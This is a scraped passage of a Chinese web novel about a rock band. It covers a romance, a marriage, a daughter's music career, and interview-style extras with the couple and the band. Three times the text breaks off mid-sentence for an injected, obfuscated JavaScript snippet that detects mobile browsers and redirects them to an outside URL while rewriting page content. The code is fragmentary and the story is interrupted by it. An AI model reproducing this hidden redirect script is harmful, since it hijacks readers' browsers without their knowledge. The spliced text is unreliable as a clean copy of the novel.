她心里早有准备，于是好脾气地说道：“这么晚了？还不回去？” “不想回去，想多在这里呆一会儿。”叶琛笑了，“多看看你。” 他一步一步地朝她走进，把她逼到了墙角里，眼神带着侵略性：“我不喜欢你和他们说话。” “那能怎么办呢？”江琼仰头看他，“我的工作就是卖酒，如果不会和客人打交道，就挣不到钱，这里房租又那么贵。” “我不会一直蜗居在地下室的。”叶琛咬着牙一字一句地说道，“等我挣了钱，换我来养你，相信我。” 江琼笑了，用手探了探他的额头：“弟弟，没谈过恋爱吧？还这么天真。不过说实话你们的音乐是真的好，只要坚持下去有红的一天。” 叶琛拉过她的手，放在了胸口：“有没有想过，让我做你的男朋友？” 江琼轻轻抽回了她的手，低下了头：“从我丈夫死的那一刻，我的心也彻底死了。” 叶琛紧紧抓住她的手，按在了心脏的位置：“这里还有一颗心，一颗年轻跳动的心，我把心都给你。” 江琼还没来得及反应，叶琛就先一步吻上她的唇。 她本来想反抗的，但身体却比她的意识更先一步接纳了他，任由他在口中撕咬。 两人不知不觉间就回了家，虽然一开始叶琛有点慌乱，但很快适应了节奏。年轻人的体力就是充沛，江琼一晚上被折腾了好几次，感觉好久没有这种踩在云端上的感觉了。 他们睡到下午才起床，牵着手去上班，脖子上暧昧的痕迹已经说明了一切，因此队友也领会了。 就在这之后的一段时间，韦峰也交到了女朋友，是经常来看演出的一个大学生，从一开始就喜欢韦峰打的鼓。大家都笑话他老牛吃嫩草。 炎热的夏天慢慢过去，不知不觉间天气转凉，齐扬裹着大衣出门的时候，突然想到她此时怎么样了呢？是不是为了考研在彻夜奋战呢？ 有一天何瑜悄悄把他拉到一边，拿起手机的内容给他看，上面正是宋之雯发的“瑜姐，我实在撑不下去了”的消息。 齐扬感觉心被一只手揪着，快要透不过气来。 他立刻动员了自己所有的关系，终于在社团里找到了一个文学院的学姐，后来跨考到了新传。 他好说歹说，请人家学姐回学校参加考研指导讲座，并千叮咛万嘱咐不要让宋之雯知道。 学姐觉得很奇怪，你不是喜欢她吗？怎么能不让她知道呢？ 齐扬只是笑了笑，说她不需要知道。 学姐虽然实在不懂他的想法，但还是答应了帮忙。回到学校之后，宋之雯果然来听讲座，两人加上了微信，基本隔一段时间就会咨询一下，学姐都把咨询的情况反馈给了齐扬。 再过了一段时间，他听何瑜说宋之雯又重新投入到了备考中，很少来找她，心里的一块大石头才落了地。 研究生考试那天，B市下了很大的一场雪，齐扬深一脚浅一脚地踩在雪里，专门去庙里求签。 他抽到的签是上上签，说经过漫长的等待之后才能成功。 他小心地把签折好，放在了贴身的锦囊里。 说来也奇怪，春天天气转暖的时候，他就接到了《最强live》节目组的邀请，说在网上看了他们的演出视频，问有没有意向参加节目。 这对两年没有任何通告的乐队来说，简直是久旱逢甘霖。 后来又经过了几轮的沟通，晨星乐队成功从众多的乐队中脱颖而出，成为了参赛选手之一。 再次就是齐扬得知了宋之雯考上了研究生的消息，由衷为她感到高兴。 即将录制节目的前几天，乐队拿到了一笔通告费，正式搬出了地下室。 走之前，他们重新回头看了一眼这个自己生活了两年的地方，墙上的墙纸已经泛黄，但还是隐约能看出涂写的痕迹，承载了多少年轻人的梦想。 沿着楼梯上楼走到地面，阳光有点刺眼，他们本能地伸手挡了一下，在黑暗中呆久了，一时间还有点不适应。 街上的行人来来往往，每个人都忙着奔向他们的目的地。道路两旁，槐树已经抽出了新芽，一片生机。 他们大步地走向前，心里清楚，往后的日子，都是坦途。 79. 番外二 齐颂 “采访开始了吗？”齐颂调整了一下镜头，随后坐到了沙发上。 “既然老师准备好了，我们就开始吧。”记者把镜头对准了她。这位二十二岁的少女，剪着一头利落的黑色短发，戴着拨片耳环，像极了她的父亲齐扬。 从小到大，齐扬夫妇都把齐颂保护得很好，只有在齐颂艺考的时候，她的照片才流传到网上让大家惊艳了一下，随后又很快悄无声息。直到今年她从音乐学院毕业，带着自己的第一张专辑强势出道，如平地一声惊雷闯入了大众的视野。 大家原本是带着审视的目光的，毕竟“星二代”扶不起来的多得是。但每个人在听完齐颂的专辑后无不赞叹，虽然制作还很青涩，却充满了灵气，和齐扬完全不一样的风格。 “我们都知道，你的父亲齐扬是国内非常有名的摇滚乐队主唱，那你是如何走上和他一样的道路的呢？”记者开始了第一个提问。 齐颂歪着头，陷入了回忆：“这个嘛......要从头开始说了。” 在宋之雯毕业的第二年，她和齐扬结了婚。 婚礼采取的是他们最喜欢的形式，整体为蓝色，音乐的元素遍布了各个角落，墙上装饰着音符，还有各个年代的专辑，留声机、磁带也随处可见。 齐扬几乎是把圈内玩得好的音乐人全都叫了过来，一首接一首地上台表演，被粉丝调侃简直是一个小型的livehouse。 婚后的很长一段时间，两人都过着甜蜜的二人世界，只是工作越来越忙碌了，作息经常错开，一个人在家的时候，另一个人却已经去外地出差了。 到了宋之雯快要迈入三十的年纪的时候，有一天她躺在床上，忽然转头对齐扬说：“齐扬，我们要个孩子吧。” “为什么？”齐扬用手臂搂着她，支起身。 “我想这样当一个人不在的时候，另一个人就有人陪伴了。” 齐扬俯身亲吻了一下她：“行，都听你的。” “你喜欢儿子还是女儿啊？” “都行。” “还是女儿吧。”宋之雯叹了口气，“女儿比较懂事。” “好。”齐扬把手环在了她的腰间，用力慢慢收紧，脸贴在她的脖子上，从锁骨一直吻到胸前。 那一夜他们第一次没有做任何措施，享受了一把极致的放纵。 宋之雯就这么怀孕了。 于爱丽一得知她怀孕的消息，立刻火急火燎地赶过来，给她做饭收拾屋子，一边收拾还一边念叨之前怎么照顾自己的，这屋子这么乱。 宋之雯看着于爱丽忙碌的背影，忽然感觉心里一阵温暖。 林嘉和也从国外回来了，他这次采访非常成功，还受到了表彰，晋升部长。等活动一结束，他专门绕过来看了宋之雯一趟。 其他小伙伴比如舒青竹也陆陆续续地送来了礼物道喜。 公司很仁慈地给宋之雯休了产假，让她先好好在家里养身体，齐扬也推了手里的工作陪她，并开始学做饭。 只是齐扬在做饭这块实在是没什么天赋，不是盐放多了就是放少了。有一次番茄鸡蛋放了一整块盐，宋之雯感觉肚子里的孩子也在抗议，走到卫生间全吐了出来。 齐扬递给她一瓶水：“喝口水吧，歇一歇再吐。” “还不是你干的好事。”宋之雯瞪他，话还没说完，又是一阵呕吐。 齐扬无奈地耸耸肩：“不只是我做的饭，你吃你妈做的饭也吐，只能怪你肚子里的那位太挑食了。” “喂。”他隔空喊话，“给我老实点，别折磨你妈了，不然我出来收拾你。” 神奇的是，肚子里的孩子像是听到了似的，立刻不闹腾了。 后来齐扬学会了煎牛排，为了防止生的拉肚子，他特意两面反复煎，直到没有一点红色为止。 虽然宋之雯调侃吃全熟的牛排无异于嚼柴火，但还是很捧场地吃完了，并夸赞道：“有进步，至少能吃了。” 这次吃了之后，她等了好长一段时间，发现没吐。 “原来你喜欢吃这个啊。”她万分惊讶。 因此之后的日子里，齐扬变着花样给宋之雯做牛肉，煎炒炸煮都过了一遍。 只是每当大家觉得营养不均衡，想补充点蔬菜水果的时候，全都被分毫不落地吐了出来。 齐扬算是看出来了，这家伙是个肉食动物，还挑最贵的吃。 随着月份的增加，宋之雯的整个身体愈发显得丰满起来，皮肤白里透红吹弹可破，捏起来和棉花糖一样软，看得齐扬心里痒痒的。 他们有过几次擦枪走火的行为，但不敢太过，怕伤到孩子，因此齐扬天天计算着日期什么时候才能解放。 只是在大家都没有想到的一个日子，它发动了。 那天齐扬临时接了一个商演，要赶到外地。宋之雯正在家里悠闲地看手机直播时，突然感觉到肚子一阵疼痛，直接倒在了地上。 还好手机离她不远，她凭借着本能的意志去够手机，忍着疼痛给何瑜打了电话，随后又拨打了120。 何瑜吓坏了，一路飙车到她家，送她去了医院。 惨白的灯光照着病房，疼痛一阵接着一阵，永远不停歇，宋之雯只能数着墙上的砖挨过时间，连说话的力气都没有了。 齐扬接到消息，一结束商演立刻往医院赶，终于在她被推进手术室之前赶到了。 齐扬坐到了她身边，不声不响地把手伸过去，紧握住她的。 有了支点，宋之雯感觉心安了一些，但这疼痛还是无法忍受，她一边掐着齐扬一边恶狠狠地说：“我再也不生孩子了。” 齐扬亲了亲她的脸颊：“好，不生了。” 直到麻醉师来上无痛针，才把齐扬解救了出来，他一看，手臂已经青紫了。 折腾了一整个晚上之后，在阳光明媚的早晨，他们的女儿终于降生。 齐扬看着宋之雯苍白的脸，心里一抽一抽地疼：“辛苦了。” 宋之雯正抱着孩子仔细地看：“给她取个名字吧？” “我已经想好了，取我们姓各一个字，就叫齐颂，也谐音齐声唱颂歌。” 在齐颂大一点之后，他们发现，女儿更乖这件事完全是个骗局。 齐颂无论从长相到性格哪一点都遗传了齐扬，调皮程度比起男孩有过之而无不及，上能上树掏鸟窝，下能下河捉虾。 从小学开始，齐扬夫妇没有一天不在处理她的事情。 有一次一个家长气势汹汹地领着她的儿子找上门来，说齐颂把他揍得鼻青脸肿，牙还掉了一颗，要她赔礼道歉。 齐颂大声叫道：“他欺负女生，我又没有错，我不道歉。” 宋之雯仔细地询问了一下来龙去脉，总算把这件事弄明白了。原来小男孩玩的时候掀小女孩裙子，齐颂当机立断把他揍了一顿，别人拉都拉不住，还是老师来了之后才把她拉开的。 “不管怎么说打人这行为有点过了吧？”那位家长说道，“如果有什么请款可以报告给老师嘛。” “来，齐颂，你把人打成这样，先道个歉吧。”宋之雯拉了齐颂过来。 没想到齐颂的眼泪倔强地在眼眶里打转：“我不道歉！” 气氛一时间有点尴尬。 齐扬夫妇只好替她赔礼道歉，并把医药费付清了才送他们走。 等那对母子终于走了之后，齐扬蹲了下来，摸了摸齐颂的头：“你做得对。” 齐颂有点惊讶地看着他。 “有正义感没错，只是.....”齐扬温柔地说道，“也要保护好自己，不然受伤害的可能是自己。” 齐颂似懂非懂地点点头。 后面齐扬夫妇发现齐颂除了皮之外，还不爱留长发，不愿意扎辫子，小女孩喜欢的公主裙也不乐意穿，就爱穿牛仔裤，玩的也是赛车而不是洋娃娃。 他们甚至一度怀疑齐颂是不是喜欢女生，直到看到齐颂在翻看男明星的杂志，哭笑不得。 齐颂也曾经很苦恼地对宋之雯说道：“妈妈，我是不是不像个女孩子？” “没人规定女孩子是什么样。”宋之雯笑着对她说，“女孩子就不能玩赛车了？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431417|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐颂立刻开开心心地继续玩了。 稍微大一点之后，齐颂开始在音乐方面展露出天赋，有一次在校庆上自弹自唱一首摇滚乐惊艳了全场，一时间成为了学校的风云人物。 当然齐扬也很苦恼，他其实一点都没想过女承父业，只希望她开心快乐就好，而且他在这行待了那么久，也明白其中的水很深。 果然有一天齐颂对他说道：“爸，我想参加艺考。” 齐扬轻轻地叹了口气：“齐颂，你要知道爱好和职业是不一样的。” “我已经决定了，我这辈子就喜欢音乐了，音乐就是我的生命。” “齐颂。”宋之雯开口了，“从小到大，我们一直把你保护得很好，就是为了让你避免伤害。你可知道从你决定走这条路开始，你的一举一动都会被放大，尤其是你作为星二代，如果艺考没考好，你能承担这个后果吗？” “一年考不上就再考两年三年，而且我要考最好的音乐学院。”齐颂的眼睛里闪着火花，“我要向你们、也向他们证明，我注定是要走这条路的。” 齐扬并没有马上答应，只是撂下了一句，你再好好考虑一下吧，就走了。 没想到这天齐颂直接把自己关在房间里不出来，叫她吃饭也不吃，用无声来对抗。 齐扬真怕她关在里面饿死了，只好妥协说答应叫她唱歌和学乐器。 从那以后齐颂就付出了百分之两百的努力来准备艺考，日夜都在练习，手指都磨出了血印，让齐扬仿佛看到了那时候的自己。 艺考那天，齐扬的女儿来了无疑是一个重磅消息。因为这么多年她都没有出现在公众面前，大家也不知道她长什么样，记者当然不会放过这个好机会，对着她一通猛拍，她的长相和报名学校也被放到网上随意评判。 齐颂也不负众望，直接拿了国内顶尖音乐学院的第一名，另外两所音乐学院的第二。 在大学里，她认识了现在的男朋友也是贝斯手，和另外三个人组成了年轮乐队。 摄影机上的数字还在不断跳动着，记者听得入了神，她没想到这个年轻的女孩还有这么多传奇的经历。 她重新理了理思绪，笑着问她：“会担心别人把你和你父亲做比较吗？” “我一点都不担心。”齐颂很肯定地摇头，“因为我从来都不是要模仿他，而是要自己开辟一条道路。我们知道其实现在市面上的很多摇滚已经是改良后的流行摇滚，包括我父亲也是，但我就想回到那个黄金年代，做最纯粹的重金属摇滚。” 记者认可地点点头，怪不得年轮乐队的整张专辑里都充斥着大胆反叛的精神，极具刺激性的鼓声和金属拨弦的声音充斥着耳膜。 “你把你们乐队取名为年轮乐队，有什么含义呢？” “时刻提醒我自己，走好每一步，在自己的人生中稳稳当当地刻下每一道痕迹。” 记者此时对这个女孩又多了一层敬佩：“好，最后一个问题，在你的人生中，谁对你影响最大？你想对她说点什么？” “我母亲吧。”齐颂原本锐利的目光变得柔和，脸上露出了温情的笑容，“她是我见过最优秀的女性，总是在背后全力支持我，不论遇到什么难关，我总相信她有办法闯过去，让我觉得很安心，谢谢你。” 这段采访的剪辑也被齐扬夫妇第一时间用手机看到。 自从齐颂出道以后，齐扬就开始慢慢减少了舞台活动，专门在山里买了一处山庄和宋之雯度假。导致粉丝每天都在网上哀嚎五十多岁正是闯的年纪，让他不要那么早退休，赶快出来工作。 “这小妮子回答问题真不错，有我的风范了。”齐扬指着屏幕，有点得意。 “还不是我教得好。”宋之雯也不甘示弱。 齐扬搂过了宋之雯，两个人的脑袋紧紧靠在一起，山风拂过他们的脸颊，漫山遍野都是绿意。 最好的爱情是两人彼此做个伴，不要束缚，不要缠绕，不要占有，不要渴望从对方身上挖掘到意义，那是注定要落空的东西。而是应该我们两个人并排站在一起，看着这个落寞的人间。 80. 番外三 齐宋夫妇访谈 Q：二位简单和大家打个招呼吧。 齐扬：大家好，我是齐扬，既是晨星乐队的主唱，也是宋之雯的丈夫。 宋之雯：大家好，我是宋之雯，是香橙视频的节目策划，也是齐扬的妻子。 Q：二位是怎么认识的？对对方的第一印象是什么？ 宋之雯（笑）：说实话，第一印象不太好。那是他是学校的风云人物，在新生晚会上表演了一次就让好多人争相要加入音乐社，我也被朋友强拉去了，结果他还嫌我唱得难听。 齐扬：第一印象嘛......确实，我感觉唱歌这么难听能来面试也是要有勇气的。 宋之雯立刻去锤他，齐扬笑着求饶。 Q：在相处之后，对彼此的印象有什么改观？ 宋之雯：一开始我觉得这个人好嚣张，但接触时间长了之后发现他对自己的专业确实是无比认真，而且对于亲近的朋友也很讲义气。 齐扬：刚在吉他社教课的时候我觉得这个人很拎不清，完全在浪费时间。但就算她知道她在这方面并不是天赋异禀，也很认真地在学习，让我意识到我是不是太傲慢了。而且我们社团的工作她也帮了我们很多，总能给我们最坚定的支持，我很感谢她。 Q:对对方第一次动心是什么时候？ 齐扬：就是你怼我的那次，让我发现你这人挺有意思的。 Q：所以说你是有点受虐倾向？ 齐扬（笑）：也不是，当你发现周围的人都捧着你，说着那些虚假的恭维的话之后，有这么一个真实的人挺好的。 Q:阿雯呢？ 宋之雯：其实我动心得比你想象中更早，当你唱《逆光》的时候，我突然发现这个人还挺帅的。 齐扬（靠过身来）：难道我之前不帅吗？ 宋之雯：帅帅帅，你帅得很客观，只不过我当时被表象蒙蔽了，后面才get到。 Q：听说两人中间分开过一段时间？ 齐扬：对，那是在毕业季的时候，我准备签公司，而她还要两年才毕业。我就和她说忘了我，现在想起来真是自作聪明，害怕给不了她好的前程而逃避，其实也是一种软弱的表现。 宋之雯：那时候真的很生气，关系就差点到此为止了。（笑）不过那段时间我也过得很充实，把重心放在了提升自己上，参加了很多活动，还考了个研。 Q：后面又是怎么和好的？ 宋之雯：碰巧我们在一档节目里又遇到了，他对我穷追不舍，我一开始还懒得搭理他，后面还是瑜姐和我讲了他这两年的种种不容易，我们才和好的。 齐扬（无奈）：确实是我自己种下的因，自食苦果，所以后面也费了很大力气把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431418|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追回来。大家不要学我，有喜欢的人就勇敢一点，不然要错过了。 Q：最喜欢对方身上的哪个特质？ 齐扬：坚韧。 宋之雯：冒险家精神。 Q：平时的相处模式是什么样的？ 齐扬：因为工作的原因很少出去玩，一般是宅家看看电影电视剧，打打游戏，有工作就忙工作。希望今年可以多带她去几个地方旅游，休个假。 宋之雯：允许彼此有独立的空间，他创作的时候我也不打扰，当然下了班该呆在一起的时候还是呆在一起，平时过节日的仪式感也不能少。 Q：还记得求婚的场景吗？ 齐扬：这个求婚我提前一个月就开始准备了，因为她说不喜欢人多的地方，尤其不要演唱会求婚，会尴尬死。我就在家里搞了一个小型的，把我们所有的回忆都布置了上去，还让朋友躲在家里洒礼花。 宋之雯：其实我老早就意识到了，不过一直没说。但当我看到那一整面照片墙的时候还是蛮惊喜的，这一路走过来不容易。 Q：对现在的年轻人有什么感情方面的建议？ 齐扬：一定要找自己喜欢的，不要想东想西，不要害怕，勇敢的人先享受青春。 宋之雯：不要因为一面而否定一个人，试着去多了解了解，你或许有意想不到的惊喜。 81. 番外四 晨星乐队访谈 Q：大家平时在乐队里都是什么担当？ 齐扬：我就负责大方向，稳住组员。 吴衡：搞笑担当。 韦峰：和事佬，专和稀泥。 叶琛：一个很好的倾听者吧。 何瑜：姐姐带着一群幼稚园的小朋友。 Q：能分享一些乐队在工作室的日常吗？ 齐扬：我们一般早上十点上班，因为知道大家都起不来。（笑）到了先开个会，说一下接下来的工作，规划一下专辑的大方向，然后就在各自的工位上做各自的任务。 韦峰：吴衡在工作室里总喜欢高歌一曲，唱得还贼难听。 吴衡：你这话夸张了，哪有这么难听。 叶琛：队长很照顾我们每个人的需求，在工作室养了很多绿植，书架上都是知名乐队的唱片，还有好多乐器，没灵感了就去那里寻找灵感。 何瑜：还有桌上永远有零食，只是每次一买来都被大家瓜分干净了。 Q：大家平时有意见分歧的时候吗？是怎么解决的？ 何瑜：有啊，很多，基本三天一小吵，五天一大吵，但这就是我们的相处模式，有时候争吵才能碰撞出思维火花，所以其实没什么。 齐扬：我会先让他们讨论，等彼此冷静下来了再把好的点子总结一下。 吴衡：很多时候都是我道歉。 何瑜：因为你每次的想法都是天马行空。 韦峰：我负责劝架。 叶琛：我也是。 Q：做音乐的时候有遇到什么困难没有？ 何瑜：不得不提我们那两年的地下室生涯了，我当时太年轻冲动，一怒之下辞了大学老师的工作，然后就和老鼠蟑螂为伴，天天吃十块钱只有一个菜的盒饭。 Q：有后悔过，有想放弃的时候吗？ 何瑜：说实话那一瞬间是有的，我为什么放着体面的工作不做，跑来这里没苦硬吃呢？但后来想想我如果听从了父母的建议追求安稳，到头来更加后悔年轻时候没有去闯一闯。 齐扬：放弃音乐没有想过，但后悔因为音乐忽视了爱人。 韦峰：噫，你这个恋爱脑。 叶琛：其实现在网上也有很多不好的评论，我们每出一张专辑就被质疑一下。有时候也怀疑自己是不是真的做错了，但最后奖项证明了我们所走的路。 吴衡：当我唱歌被人说的时候，我知道自己还是适合做贝斯手。 Q：现在很多年轻人受到你们的鼓励，也想组乐队，有什么建议给他们吗？ 齐扬：基本功一定要好，每天要坚持连声不能偷懒，主唱不是那么好当的。 吴衡：手速要快。 叶琛：勤学苦练。 韦峰：要记住你们是一个整体，得配合队友。 何瑜：如果说全能当然更好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431419|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这样大家可以换着来。（笑） Q：有什么推荐的音乐吗？ 齐扬：《规则就是用来打破的》。 吴衡：《当这地球没有花》。 韦峰：《天空没有极限》。 叶琛：《谁》。 何瑜：《海底一公里》。 Q：可以谈谈接下来的新专辑计划吗？ 齐扬：和我们上一张的风格完全不一样，与传统文化有关的，可以期待一下。 Q：是怎么想到做这个主题的？ 吴衡：还不是何瑜最近迷上了非遗手工，还拉着我们去报班，我们几个大老爷们哪会这些，当然做得很糟糕。 韦峰：当然跟着老师去了好几个地方也给了我们很多灵感。 叶琛：传统的东西确实有很多可以挖掘。 何瑜：我那也是怕你们天天闷在里面出问题了，带你们去放松好吗？不过也并不是大家想的纯粹的古风歌，还加入了很多现代音乐的元素。 Q：今年是晨星乐队的十周年，想对二十周年的自己说些什么？ 齐扬：愿你一直在热爱的舞台上放声歌唱。 吴衡：希望我身边还有最重要的人陪伴。 韦峰：既追寻梦想，又过好自己的生活。 何瑜：从探索世界到逐步安稳下来，有一个避风的港湾。 叶琛：晨星乐队，永不解散。